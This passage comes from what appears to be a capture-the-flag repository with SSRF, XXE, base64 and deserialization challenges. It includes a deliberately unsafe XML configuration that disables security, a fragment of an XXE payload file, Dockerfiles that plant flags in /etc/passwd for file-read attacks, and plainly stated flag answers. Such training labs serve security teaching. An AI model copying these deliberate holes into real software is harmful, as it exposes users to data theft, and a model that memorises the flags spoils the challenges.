'); 7 | $flag="FLAG{To_infinity...and_beyond!}"; 8 | $answer=""; 9 | $check_string=md5($_REQUEST['flag_check']); 10 | if(!empty($_REQUEST['flag_check'])){ 11 | for($i = 0; $i <= 32; $i++){ 12 | 13 | if($check_string[$i]==5){ 14 | $answer=$answer.$flag[$i]; 15 | }else{ 16 | $answer=$answer."*"; 17 | } 18 | } 19 | echo($answer."
"); 20 | } 21 | 22 | 23 | ?> 24 | 25 | 🐝 26 | -------------------------------------------------------------------------------- /008ssrf/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /008ssrf/conf/nginx.conf: -------------------------------------------------------------------------------- 1 | #user nobody; 2 | worker_processes auto; 3 | 4 | #error_log logs/error.log; 5 | #error_log logs/error.log notice; 6 | #error_log logs/error.log info; 7 | 8 | #pid run/nginx.pid; 9 | 10 | 11 | events { 12 | worker_connections 1024; 13 | } 14 | 15 | 16 | http { 17 | include mime.types; 18 | default_type application/octet-stream; 19 | 20 | #log_format main '$remote_addr - $remote_user [$time_local] "$request" ' 21 | # '$status $body_bytes_sent "$http_referer" ' 22 | # '"$http_user_agent" "$http_x_forwarded_for"'; 23 | 24 | #access_log logs/access.log main; 25 | 26 | sendfile on; 27 | #tcp_nopush on; 28 | 29 | #keepalive_timeout 0; 30 | keepalive_timeout 2; 31 | client_max_body_size 100m; 32 | 33 | server_tokens off; 34 | #gzip on; 35 | 36 | include /etc/nginx/sites-enabled/*; 37 | } 38 | #daemon off; 39 | -------------------------------------------------------------------------------- /008ssrf/docs/UID_GID_Mapping.md: -------------------------------------------------------------------------------- 1 | ## User / Group Identifiers 2 | Sometimes when using data volumes (`-v` flags) permissions issues can arise between the host OS and the container. We avoid this issue by allowing you to specify the user `PUID` and optionally the group `PGID`. Ensure the data volume directory on the host is owned by the same user you specify and it will "just work" ™. 3 | 4 | An example of mapping the UID and GID to the container is as follows: 5 | ``` 6 | docker run -d -e "PUID=`id -u $USER`" -e "PGID=`id -g $USER`" -v local_dir:/var/www/html richarvey/nginx-php-fpm:latest 7 | ``` 8 | This will pull your local UID/GID and map it into the container so you can edit on your host machine and the code will still run in the container. 9 | -------------------------------------------------------------------------------- /008ssrf/docs/building.md: -------------------------------------------------------------------------------- 1 | ## Building from source 2 | To build from source you need to clone the git repo and run docker build: 3 | ``` 4 | git clone https://github.com/ngineered/nginx-php-fpm 5 | .git 6 | docker build -t nginx-php-fpm:latest . 7 | ``` 8 | -------------------------------------------------------------------------------- /008ssrf/docs/git_commands.md: -------------------------------------------------------------------------------- 1 | ## Git Commands 2 | Specify the ```GIT_EMAIL``` and ```GIT_NAME``` variables for this to work. They are used to set up git correctly and allow the following commands to work. 3 | 4 | ### Push code to Git 5 | To push code changes made within the container back to git run: 6 | ``` 7 | sudo docker exec -t -i /usr/bin/push 8 | ``` 9 | ### Pull code from Git (Refresh) 10 | In order to refresh the code in a container and pull newer code from git run: 11 | ``` 12 | sudo docker exec -t -i /usr/bin/pull 13 | ``` 14 | -------------------------------------------------------------------------------- /008ssrf/docs/guides/docker_compose.md: -------------------------------------------------------------------------------- 1 | 2 | ## Docker Compose Guide 3 | This guide will show you how to make a quick and easy docker compose file to get your container running using the compose tool. 4 | 5 | 6 | ### Creating a compose file 7 | Create a docker-compose.yml file with the following contents: 8 | 9 | ``` 10 | version: '2' 11 | 12 | services: 13 | nginx-php-fpm: 14 | image: richarvey/nginx-php-fpm:latest 15 | restart: always 16 | environment: 17 | SSH_KEY: '' 18 | GIT_REPO: 'git@github.com:/.git' 19 | GIT_EMAIL: 'void@ngd.io' 20 | GIT_NAME: '' 21 | ``` 22 | You can of course expand on this and add volumes, or extra environment parameters as defined in the [config flags](../config_flags.md) documentation. 23 | 24 | ### Running 25 | To start the container simply run: ```docker-compose up -d``` 26 | 27 | ### Clean Up 28 | To shut down the compose network and container runt he following command: ```docker-compose down``` 29 | -------------------------------------------------------------------------------- /008ssrf/docs/lets_encrypt.md: -------------------------------------------------------------------------------- 1 | ## Lets Encrypt Guide 2 | This container includes support for lets encrypt SSL certificates. The scripts includes allow you to easily setup and renew your certificates. **Please note** your container must be a fully resolvable (by dns), Internet facing server to allow this to work. 3 | ### Setup 4 | You can use Lets Encrypt to secure your container. Make sure you start the container with the ```DOMAIN, GIT_EMAIL``` and ```WEBROOT``` variables set to enable this functionality. Then run: 5 | ``` 6 | sudo docker exec -t /usr/bin/letsencrypt-setup 7 | ``` 8 | Ensure your container is accessible on the ```DOMAIN``` you supplied in order for this to work 9 | ### Renewal 10 | Lets Encrypt certs expire every 90 days, to renew simply run: 11 | ``` 12 | sudo docker exec -t /usr/bin/letsencrypt-renew 13 | ``` 14 | -------------------------------------------------------------------------------- /008ssrf/docs/logs.md: -------------------------------------------------------------------------------- 1 | ## Logging 2 | All logs should now print out in stdout/stderr and are available via the docker logs command: 3 | ``` 4 | docker logs 5 | ``` 6 | All logs should now print out in stdout/stderr and are available via the docker logs command: 7 | ``` 8 | docker logs 9 | ``` 10 | -------------------------------------------------------------------------------- /008ssrf/docs/nginx_configs.md: -------------------------------------------------------------------------------- 1 | ## Custom Nginx Config files 2 | Sometimes you need a custom config file for nginx to do rewrites or password protection, etc. For this reason we've included the ability to have custom nginx configs pulled directly from your git source. Please have a read of the [repo layout guidelines](repo_layout.md) for more information. Its pretty simple to enable this, all you need to do is include a folder in the root of your repository called ```conf/nginx/``` within this folder you need to include a file called ```nginx-site.conf``` which will contain your default nginx site config. If you wish to have a custom file for SSL you simply include a file called ```nginx-site-ssl.conf``` in the same directory. These files will then be swapped in after you code is cloned. 3 | 4 | ## REAL IP / X-Forwarded-For Headers 5 | If you operate your container behind a load balancer, an ELB on AWS for example, you need to configure nginx to get the real IP and not the load balancer IP in the logs by using the X-Forwarded-For. We've provided some handy flags to let you do this. You need to set both of these to get this to work: 6 | ``` 7 | -e "REAL_IP_HEADER=1" 8 | -e "REAL_IP_FROM=Your_CIDR" 9 | ``` 10 | For example: 11 | ``` 12 | docker run -d -e "REAL_IP_HEADER=1" -e "REAL_IP_FROM=10.1.0.0/16" richarvey/nginx-php-fpm:latest 13 | ``` 14 | -------------------------------------------------------------------------------- /008ssrf/docs/scripting_templating.md: -------------------------------------------------------------------------------- 1 | ## Scripting 2 | There is often an occasion where you need to run a script on code to do a transformation once code lands in the container. For this reason we have developed scripting support. By including a scripts folder in your git repository and passing the __RUN_SCRIPTS=1__ flag to your command line the container will execute your scripts. Please see the [repo layout guidelines](https://gitlab.com/ric_harvey/nginx-php-fpm/blob/master/docs/repo_layout.md) for more details on how to organise this. 3 | 4 | ## Using environment variables / templating 5 | To set the variables pass them in as environment variables on the docker command line. 6 | Example: 7 | ``` 8 | sudo docker run -d -e 'YOUR_VAR=VALUE' richarvey/nginx-php-fpm 9 | ``` 10 | You can then use PHP to get the environment variable into your code: 11 | ``` 12 | string getenv ( string $YOUR_VAR ) 13 | ``` 14 | Another example would be: 15 | ``` 16 | 19 | ``` 20 | -------------------------------------------------------------------------------- /008ssrf/docs/xdebug.md: -------------------------------------------------------------------------------- 1 | ## Install PHP Modules 2 | Xdebug comes pre-installed. To enable xdebug you need to add a couple environment variables: 3 | 4 | - `ENABLE_XDEBUG=1` This will add the xdebug.ini to your php extensions 5 | - `XDEBUG_CONFIG=remote_host=you.local.ip.here` Sets an xdebug remote host environment var. This is usually your actual local computers IP. 6 | - `PHP_IDE_CONFIG=serverName=NameUsedInPhpStormServerConfig` This is an example of how to use this in PhpStorm. You configure a server in php storm with a name, set that in this var. 7 | -------------------------------------------------------------------------------- /008ssrf/scripts/letsencrypt-renew: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Lets Encrypt 4 | if [ -z "$DOMAIN" ]; then 5 | echo "You need to have \$DOMAIN set" 6 | else 7 | if [ -f /etc/letsencrypt/live/${DOMAIN}/fullchain.pem ]; then 8 | certbot renew 9 | supervisorctl restart nginx 10 | else 11 | echo "There is no cert to renew" 12 | fi 13 | fi 14 | -------------------------------------------------------------------------------- /008ssrf/scripts/letsencrypt-setup: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Lets Encrypt 4 | if [ -z "$WEBROOT" ] || [ -z "$GIT_EMAIL" ] || [ -z "$DOMAIN" ]; then 5 | echo "You need the \$WEBROOT, \$GIT_EMAIL and the \$DOMAIN Variables" 6 | else 7 | certbot certonly --webroot -w $WEBROOT -d $DOMAIN --email $GIT_EMAIL --agree-tos --quiet 8 | ln -s /etc/nginx/sites-available/default-ssl.conf /etc/nginx/sites-enabled/ 9 | 10 | # change nginx for webroot and domain name 11 | sed -i "s/##DOMAIN##/${DOMAIN}/g" /etc/nginx/sites-enabled/default-ssl.conf 12 | sed -i "s#root /var/www/html;#root ${WEBROOT};#g" /etc/nginx/sites-available/default-ssl.conf 13 | 14 | supervisorctl restart nginx 15 | 16 | fi 17 | -------------------------------------------------------------------------------- /008ssrf/scripts/pull: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -z "$GIT_EMAIL" ]; then 4 | echo "You need to pass the \$GIT_EMAIL variable to the container for this to work" 5 | exit 6 | fi 7 | 8 | if [ -z "$GIT_NAME" ]; then 9 | echo "You need to pass the \$GIT_NAME variable to the container for this to work" 10 | exit 11 | fi 12 | 13 | # Try auto install for composer 14 | if [ -f "${WEBROOT}/composer.lock" ]; then 15 | composer install --no-dev --working-dir=${WEBROOT} 16 | fi 17 | 18 | cd ${WEBROOT} 19 | git pull || exit 1 20 | chown -Rf nginx:nginx ${WEBROOT} 21 | -------------------------------------------------------------------------------- /008ssrf/scripts/push: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | timestamp() { 4 | date +"%D %T" 5 | } 6 | 7 | if [ -z "$GIT_EMAIL" ]; then 8 | echo "You need to pass the \$GIT_EMAIL variable to the container for this to work" 9 | exit 10 | fi 11 | 12 | if [ -z "$GIT_NAME" ]; then 13 | echo "You need to pass the \$GIT_NAME variable to the container for this to work" 14 | exit 15 | fi 16 | 17 | ts=$(timestamp) 18 | cd ${WEBROOT} 19 | git add . 20 | git commit -a -m "push from container $ts" 21 | git push 22 | -------------------------------------------------------------------------------- /008ssrf/src/flag.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /008ssrf/src/flag.txt: -------------------------------------------------------------------------------- 1 | 2 | FLAG{BLoody_UMbrella} 3 | -------------------------------------------------------------------------------- /008ssrf/src/img.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/008ssrf/src/img.jpg -------------------------------------------------------------------------------- /008ssrf/src/vendor/autoload.php: -------------------------------------------------------------------------------- 1 | array($vendorDir . '/fin1te/safecurl/src'), 10 | ); 11 | -------------------------------------------------------------------------------- /008ssrf/src/vendor/composer/autoload_psr4.php: -------------------------------------------------------------------------------- 1 | array($vendorDir . '/league/html-to-markdown/src'), 10 | ); 11 | -------------------------------------------------------------------------------- /008ssrf/src/vendor/fin1te/safecurl/composer.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "fin1te/safecurl", 3 | "description": "A drop-in replacement for 'curl_exec', designed to prevent SSRF attacks.", 4 | "keywords": ["curl", "safecurl", "safe", "ssrf", "websec"], 5 | "license": "MIT", 6 | "authors": [ 7 | { 8 | "name": "Jack W", 9 | "email": "jack@fin1te.net" 10 | } 11 | ], 12 | "require": { 13 | "php": ">=5.3.0" 14 | }, 15 | "require-dev": { 16 | "phpunit/phpunit": "3.7.*" 17 | }, 18 | "autoload": { 19 | "psr-0": { 20 | "fin1te\\SafeCurl": "src/" 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /008ssrf/src/vendor/fin1te/safecurl/example/default.php: -------------------------------------------------------------------------------- 1 | setList('whitelist', []); 18 | //Completely clear the blacklist 19 | $options->setList('blacklist', []); 20 | //Set the domain whitelist only 21 | $options->setList('whitelist', ['google.com', 'youtube.com'], 'domain'); 22 | 23 | $result = SafeCurl::execute('http://www.youtube.com', $curlHandle); 24 | } catch (Exception $e) { 25 | //Handle exception 26 | } 27 | -------------------------------------------------------------------------------- /008ssrf/src/vendor/fin1te/safecurl/example/redirects.php: -------------------------------------------------------------------------------- 1 | enableFollowLocation()->setFollowLocationLimit(10); 18 | 19 | $result = SafeCurl::execute('http://fin1te.net', $curlHandle); 20 | } catch (Exception $e) { 21 | //Handle exception 22 | } 23 | -------------------------------------------------------------------------------- /008ssrf/src/vendor/fin1te/safecurl/example/url.php: -------------------------------------------------------------------------------- 1 | ' symbols to each line. 18 | 19 | $markdown = ''; 20 | 21 | $quote_content = trim($element->getValue()); 22 | 23 | $lines = preg_split('/\r\n|\r|\n/', $quote_content); 24 | 25 | $total_lines = count($lines); 26 | 27 | foreach ($lines as $i => $line) { 28 | $markdown .= '> ' . $line . "\n"; 29 | if ($i + 1 === $total_lines) { 30 | $markdown .= "\n"; 31 | } 32 | } 33 | 34 | return $markdown; 35 | } 36 | 37 | /** 38 | * @return string[] 39 | */ 40 | public function getSupportedTags() 41 | { 42 | return array('blockquote'); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /008ssrf/src/vendor/league/html-to-markdown/src/Converter/CommentConverter.php: -------------------------------------------------------------------------------- 1 | config = $config; 22 | } 23 | 24 | /** 25 | * @param ElementInterface $element 26 | * 27 | * @return string 28 | */ 29 | public function convert(ElementInterface $element) 30 | { 31 | if ($this->config->getOption('strip_tags', false)) { 32 | return $element->getValue() . "\n\n"; 33 | } 34 | 35 | return html_entity_decode($element->getChildrenAsString()); 36 | } 37 | 38 | /** 39 | * @return string[] 40 | */ 41 | public function getSupportedTags() 42 | { 43 | return array('div'); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /008ssrf/src/vendor/league/html-to-markdown/src/Converter/HardBreakConverter.php: -------------------------------------------------------------------------------- 1 | config = $config; 22 | } 23 | 24 | /** 25 | * @param ElementInterface $element 26 | * 27 | * @return string 28 | */ 29 | public function convert(ElementInterface $element) 30 | { 31 | return $this->config->getOption('hard_break') ? "\n" : " \n"; 32 | } 33 | 34 | /** 35 | * @return string[] 36 | */ 37 | public function getSupportedTags() 38 | { 39 | return array('br'); 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /008ssrf/src/vendor/league/html-to-markdown/src/Converter/HorizontalRuleConverter.php: -------------------------------------------------------------------------------- 1 | getAttribute('src'); 17 | $alt = $element->getAttribute('alt'); 18 | $title = $element->getAttribute('title'); 19 | 20 | if ($title !== '') { 21 | // No newlines added. should be in a block-level element. 22 | return '![' . $alt . '](' . $src . ' "' . $title . '")'; 23 | } 24 | 25 | return '![' . $alt . '](' . $src . ')'; 26 | } 27 | 28 | /** 29 | * @return string[] 30 | */ 31 | public function getSupportedTags() 32 | { 33 | return array('img'); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /008ssrf/src/vendor/league/html-to-markdown/src/Converter/ListBlockConverter.php: -------------------------------------------------------------------------------- 1 | getValue() . "\n"; 17 | } 18 | 19 | /** 20 | * @return string[] 21 | */ 22 | public function getSupportedTags() 23 | { 24 | return array('ol', 'ul'); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /009xxe/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /009xxe/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:trusty 2 | 3 | MAINTAINER Gabe Marshall 4 | 5 | RUN apt-get -yqq --force-yes update 6 | RUN apt-get -yqq --force-yes install openjdk-6-jdk 7 | RUN apt-get -yqq --force-yes install maven gopher 8 | 9 | COPY ./ ./ 10 | RUN echo 'FLAG{Xuman_Like_Machines}' >> /etc/passwd 11 | 12 | CMD ["mvn", "jetty:run"] 13 | -------------------------------------------------------------------------------- /009xxe/README.md: -------------------------------------------------------------------------------- 1 | Simple web application which demonstrates XXE vulnerabitlity. 2 | 3 | Start web app: 4 | 5 | $ mvn jetty:run 6 | 7 | Retrieve all books: 8 | 9 | $ curl http://localhost:8080/rest/books 10 | 11 | Retrieve book by id: 12 | 13 | $ curl http://localhost:8080/rest/books/1 14 | 15 | Delete book by id: 16 | 17 | $ curl -v -X DELETE http://localhost:8080/rest/books/4 18 | 19 | Create new book: 20 | 21 | $ curl -v -H "Content-Type:application/xml" --upload-file book.xml http://localhost:8080/rest/books -------------------------------------------------------------------------------- /009xxe/book-xxe.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | ]> 5 | 6 | &xxe; 7 | 11112222333 8 | Metasploit Unleashed 9 | 10 | -------------------------------------------------------------------------------- /009xxe/book.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Programming pearls 4 | 8177588583 5 | Jon Bentley 6 | 7 | -------------------------------------------------------------------------------- /009xxe/src/main/java/com/xakcop/xxe/Msg.java: -------------------------------------------------------------------------------- 1 | package com.xakcop.xxe; 2 | 3 | import javax.xml.bind.annotation.XmlRootElement; 4 | 5 | @XmlRootElement 6 | public class Msg { 7 | 8 | int id; 9 | String name; 10 | String content; 11 | 12 | public int getId() { 13 | return id; 14 | } 15 | 16 | public void setId(int id) { 17 | this.id = id; 18 | } 19 | 20 | public String getName() { 21 | return name; 22 | } 23 | 24 | public void setName(String name) { 25 | this.name = name; 26 | } 27 | 28 | public String getContent() { 29 | return content; 30 | } 31 | 32 | public void setContent(String content) { 33 | this.content = content; 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /009xxe/src/main/webapp/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Class-Path: 3 | 4 | -------------------------------------------------------------------------------- /009xxe/src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | XXE 7 | 8 | Jersey 9 | com.sun.jersey.spi.container.servlet.ServletContainer 10 | 11 | com.sun.jersey.config.property.packages 12 | com.xakcop.xxe 13 | 14 | 15 | com.sun.jersey.config.feature.Formatted 16 | true 17 | 18 | 19 | com.sun.jersey.config.feature.DisableXmlSecurity 20 | true 21 | 22 | 1 23 | 24 | 25 | Jersey 26 | /rest/* 27 | 28 | 29 | -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/fonts/LineIcons.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/fonts/LineIcons.eot -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/fonts/LineIcons.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/fonts/LineIcons.ttf -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/fonts/LineIcons.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/fonts/LineIcons.woff -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/about/img-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/img/about/img-1.png -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/feature/img-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/img/feature/img-1.jpg -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/feature/intro-mobile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/img/feature/intro-mobile.png -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/footer-bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/img/footer-bg.png -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/hero-area.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/intro-mobile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/img/intro-mobile.png -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/intro.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/img/intro.png -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/location.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/img/location.png -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/img/logo.png -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/logo.psd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/img/logo.psd -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/team/team-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/img/team/team-01.png -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/team/team-02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/img/team/team-02.png -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/team/team-03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/img/team/team-03.png -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/team/team-04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/img/team/team-04.png -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/testimonial/img1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/img/testimonial/img1.jpg -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/testimonial/img2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/img/testimonial/img2.jpg -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/testimonial/img3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/img/testimonial/img3.jpg -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/testimonial/img4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/img/testimonial/img4.jpg -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/testimonial/img5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/img/testimonial/img5.jpg -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/img/testimonial/img6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/009xxe/src/main/webapp/assets/img/testimonial/img6.jpg -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/js/scrolling-nav.js: -------------------------------------------------------------------------------- 1 | //jQuery to collapse the navbar on scroll 2 | $(window).scroll(function() { 3 | if ($(".navbar").offset().top > 50) { 4 | $(".navbar-fixed-top").addClass("top-nav-collapse"); 5 | } else { 6 | $(".navbar-fixed-top").removeClass("top-nav-collapse"); 7 | } 8 | }); 9 | 10 | //jQuery for page scrolling feature - requires jQuery Easing plugin 11 | $(function() { 12 | $(document).on('click', 'a.page-scroll', function(event) { 13 | var $anchor = $(this); 14 | $('html, body').stop().animate({ 15 | scrollTop: $($anchor.attr('href')).offset().top 16 | }, 1500, 'easeInOutExpo'); 17 | event.preventDefault(); 18 | }); 19 | }); 20 | -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/scss/_hero-area.scss: -------------------------------------------------------------------------------- 1 | /* ========================================================================== 2 | 3. Hero Area 3 | ========================================================================== */ 4 | #hero-area{ 5 | background-image: url(../img/hero-area.jpg); 6 | background-position: center center; 7 | background-repeat: no-repeat; 8 | background-size: cover; 9 | min-height: 650px; 10 | position: relative; 11 | overflow: hidden; 12 | padding: 180px 0 80px; 13 | .contents{ 14 | .head-title{ 15 | color: #222222; 16 | font-size: 42px; 17 | font-weight: 700; 18 | line-height: 60px; 19 | margin-bottom: 10px; 20 | } 21 | .header-button{ 22 | margin-top: 20px; 23 | color: #222222; 24 | .btn{ 25 | margin-right: 10px; 26 | } 27 | } 28 | } 29 | } 30 | 31 | .sloder-img{ 32 | background: #34363a; 33 | } -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/scss/colors/_presets.scss: -------------------------------------------------------------------------------- 1 | //All Preset color variables are here 2 | 3 | // Defult color 4 | $defult: #F63854; 5 | 6 | //Current Preset Declareation 7 | $preset: $defult; -------------------------------------------------------------------------------- /009xxe/src/main/webapp/assets/scss/main.scss: -------------------------------------------------------------------------------- 1 | 2 | // Preset Color Styles 3 | @import "colors/presets"; 4 | 5 | // Global Styles 6 | @import "global"; 7 | 8 | // Feature Styles 9 | @import "feature"; 10 | 11 | // Service Area 12 | @import "service"; 13 | 14 | // Navbar 15 | @import "navbar"; 16 | 17 | // Hero Slider Area 18 | @import "hero-area"; 19 | 20 | // Team Area 21 | @import "team"; 22 | 23 | // Pricing Area 24 | @import "pricing"; 25 | 26 | // Testimonial Area 27 | @import "testimonial"; 28 | 29 | // Contact 30 | @import "contact"; 31 | 32 | // Contact Area 33 | @import "footer"; 34 | -------------------------------------------------------------------------------- /009xxe/src/main/webapp/contact.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Subscription Animation 6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 |
14 | 15 | 16 | 21 |
22 |
23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /009xxe/src/main/webapp/index_old__.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | XML message system 6 |
7 |

8 |

9 | 10 |

11 |

12 | 13 | 14 |
15 |

16 | 17 | 40 | 41 | 42 | 43 | 44 | 45 | -------------------------------------------------------------------------------- /009xxe/src/settings.xml: -------------------------------------------------------------------------------- 1 | 5 | ${user.home}/.m2/repository 6 | true 7 | false 8 | false 9 | 10 | org.mortbay.jetty 11 | 12 | 13 | -------------------------------------------------------------------------------- /010base64/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /010base64/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | run apt-get update && apt-get install libfontconfig nano -y 3 | COPY src/ /var/www/html/ 4 | COPY config/php.ini /usr/local/etc/php/ 5 | -------------------------------------------------------------------------------- /010base64/src/.htaccess: -------------------------------------------------------------------------------- 1 | IndexOptions +Charset=UTF-8 2 | AddCharset utf-8 .html .css .php .txt .js 3 | -------------------------------------------------------------------------------- /011serealize/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /011serealize/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | run apt-get update && apt-get install libfontconfig nano -y 3 | COPY src/ /var/www/html/ 4 | COPY config/php.ini /usr/local/etc/php/ 5 | RUN echo 'FLAG{Path_to_the_dark_side}' >> /etc/passwd 6 | -------------------------------------------------------------------------------- /011serealize/src/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/011serealize/src/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /011serealize/src/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/011serealize/src/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /011serealize/src/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- 